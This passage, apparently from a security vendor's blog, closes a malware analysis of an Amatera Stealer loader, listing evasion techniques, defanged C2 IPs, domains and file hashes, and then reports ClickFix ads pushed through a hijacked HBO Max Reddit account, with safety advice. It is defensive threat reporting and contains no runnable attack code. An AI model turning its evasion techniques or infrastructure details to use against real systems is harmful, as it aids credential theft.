LDR sanity exception: ' 'HIGHLOW relocation' 'Import DLL name' 'Import FunctusAurata' 'Import INT' 'Import descriptor' 'Import hint/name' 'Import thunk' 'LdrpHandleTlsData outside ntdll .text' 'LdrpReleaseTlsEntry outside ntdll .text' 'LoadConfig32' 'OK' 'PE headers' 'Required API resolve failed: type={0}, FreshBubals={1}, module=0x{2:X}' 'TLS32' 'TLS64' 'x86 disabled until ABI proof' ntdll.dll kernel32.dll LdrpInitializeTls "STATUS_SUCCESS" UNKNOWN(0x00000001) UNKNOWN(0x00000002) UNKNOWN(0x00000003) The ServerEditor.SortMemory method ( 0x06000014 ) checks the PE structure and flags before loading the payload. To confirm this behavior, we invoked the method through reflection using the downloaded WPA.exe file as input. The PE loaded successfully. The C++-compiled PE disguises itself as WPA.exe (Windows Performance Analyzer). We identified the payload as an obfuscated version of Amatera Stealer 4.2.3-alpha1 . It uses control-flow flattening, API hashing, anti-debugging checks, and opaque predicates to complicate analysis. We also detected use of the Heaven’s Gate technique, DNS-over-HTTPS (DoH) resolution through Google DNS, and raw sockets using \Device\Afd\Endpoint for network communication.&nbsp; Part of the decrypted strings associated with Amatera . Click to enlarge After this stage executes, we also observed additional payloads being downloaded and run from C2 IP addresses. In some cases, WiX Burn bundles downloaded another payload associated with PavinLoader. In others, we detected HijackLoader. This gives the campaign operators the ability to deploy multiple payloads on a compromised machine. IOCs&nbsp; SHA-256 hashes bdf313a019e025ebf58ccef4619444ee70e661bd444e0644ebeabd8f5caad14c&nbsp; e3830f5747e3f46537d217124d80c9f3bb4d89f8d4f5138dce69ee54ea4fb6b9&nbsp; a4f03272cf96732dc9f58bb466d16f358e7f50d46dba30526a9fbebfec11717b&nbsp; bf04160dd1ce3571e0eb6d6dda1713c788797b5599399d4a93665a757eec376e&nbsp; 54fa8083c05334aa360256fbbb0ca901ce7e244a0359dd664cae78977371ec91&nbsp; c1ea6d169565c70ac5d812e73483814929e9b3548ead6633595937e71a334adb&nbsp; 001337488c32d8610c2aef6f9330acca825f0afacd071bf6ebfc06b5a1a69f09&nbsp; 2837099af431e9afee76ce5e6ab5cb86bedce06e31c22be46250cb453cfdb978&nbsp; 252c5a3d150275013f52b4820097d7163ced4aa2f1be0fca032f8a5017673816&nbsp; 0c9c64b7383ec249bcf6271a4b73206d94de130ca401d16ab77fe01e5193a312&nbsp; 6700f62e1a3b33340cd678c388ecc8bac2e5943c0627df5d1b99b879c3ca42c9&nbsp; IP addresses &nbsp; 93.152.224[.]75 : downloads PavinLoader&nbsp; 65.21.80[.]170 : downloads PavinLoader&nbsp; 195.63.142[.]49 : downloads PavinLoader&nbsp; Domains &nbsp; perfectverified[.]com : ClickFix&nbsp; PavinLoader C2 &nbsp; catalyst-pro[.]lat&nbsp; twigoamwu[.]cfd&nbsp; trusaifi[.]cfd&nbsp; stellar-minds[.]cfd&nbsp; pinnacle-labs[.]lat&nbsp; nexahub[.]lat&nbsp; fimwoglea[.]shop&nbsp; velodium[.]lat&nbsp; rpcsecnoweb[.]pro&nbsp; more-arpc[.]icu&nbsp; echo-systems[.]cfd&nbsp; kelemet[.]shop&nbsp; zarwieciv[.]cfd&nbsp; URLs &nbsp; telegra[.]ph/Project-PySynth-06-28 : Amatera dead drop&nbsp; Acknowledgements &nbsp; Previous analysis of the loader: https://www.derp.ca/research/hellsuchecker-clickfix-etherhiding/#26-anti-sandbox-checks-and-a-nintendo-bypass (possible AI-generated content)&nbsp; Possible related activity: https://cyberowi.pl/lumma-stealer-renpy-fitgirl-osmiowarstwowy-loader/ &nbsp; Possible related activity: https://medium.com/@djordje.brankovic/from-fake-captcha-to-in-memory-execution-unraveling-a-multi-stage-malware-chain-part-1-496c603f3641 &nbsp; Analysis of a forum user: https://forums.malwarebytes.com/topic/338102-solution-of-gollopdevestdll-renpy-loader-malware-from-malwarebytes-blog/ &nbsp; From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by&nbsp; downloading Malwarebytes today .
5 shared
Aug 26, 2026
ClickFix Moves into the Browser to Steal Cryptocurrency
Researchers at Hudson Rock found that cybercriminals hijacked HBO Max’s verified Reddit account and used it to run 108 malicious ads over roughly 48 hours. The ads used HBO Max’s trusted corporate account to promote fake AI tools, developer software, and macOS utilities, lowering potential victims’ guards. Some ads directed users to convincing HBO lookalike sites that claimed to offer a native HBO Max app for macOS or a promotional download. But instead of providing an installer, the sites instructed visitors to open Terminal on their Mac or, on Windows, the Run dialog or PowerShell, and paste in a command. This is the hallmark of a growing social engineering technique known as ClickFix . ClickFix attacks disguise malicious instructions as a routine technical step, such as fixing an error, completing a CAPTCHA, verifying that you are human, or installing software. A web page may silently copy a command to the clipboard , then guide the victim through pasting and running it, by which they will infect their own device. Researchers at ADAMnetworks have dubbed the operation behind the HBO Max ads “PasteSwitch.” Its infrastructure appears to tailor the next stage to the visitor’s device and the lure being used. Observed macOS payloads included MacSync and AMOS infostealers designed to steal browser credentials and profiles, Telegram data, Apple Notes, saved passwords, and cryptocurrency wallet recovery phrases. Windows users could end up with the Amatera infostealer, which runs in memory. The operation has also been linked to cryptocurrency clipboard hijackers, which monitor copied wallet addresses and replace them with an attacker-controlled address before a transaction is sent. How to stay safe Reddit admins paused the ads and opened a security investigation after reports came in, but it is important to remain vigilant. Reportedly , ClickFix was responsible for more than half of all malware loader activity in 2025. One reason for its success is that campaigns continue to add new&nbsp; methods &nbsp;for tricking users and different&nbsp; commands &nbsp;for avoiding detection. Users of macOS Tahoe 26.4 or later&nbsp;may be&nbsp; warned when pasting text into Terminal , but it doesn’t appear for everyone, so you shouldn’t rely on that alone. Malwarebytes can provide additional protection at several stages of a ClickFix attack. Browser Guard warns when a website tries to copy something to your clipboard, web protection blocks known malicious sites, and real-time protection can detect malware delivered by the campaign. With ClickFix running rampant and inventing new methods all the time, it’s important to be aware, careful, and protected: Treat ads with caution. A verified account does not guarantee that an ad is safe. Visit the company’s official website directly instead of downloading software through an advertisement. Slow down.&nbsp; Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers may use countdowns, user counters, or other pressure tactics to make you act quickly. Don’t run commands from untrusted sources.&nbsp; Never run code or commands copied from websites, emails, ads, or messages unless you trust the source and understand what the command does. Check the instructions against official documentation or contact the company’s support team. Secure your devices.&nbsp; Use an up-to-date, real-time&nbsp; anti-malware solution &nbsp;with a web protection component. Malwarebytes blocks ember-bridge.com, which is part of the PasteSwitch infrastructure. Educate yourself on evolving attack techniques. &nbsp;Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog! From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by&nbsp; downloading Malwarebytes today .
5 shared
Sep 17, 2026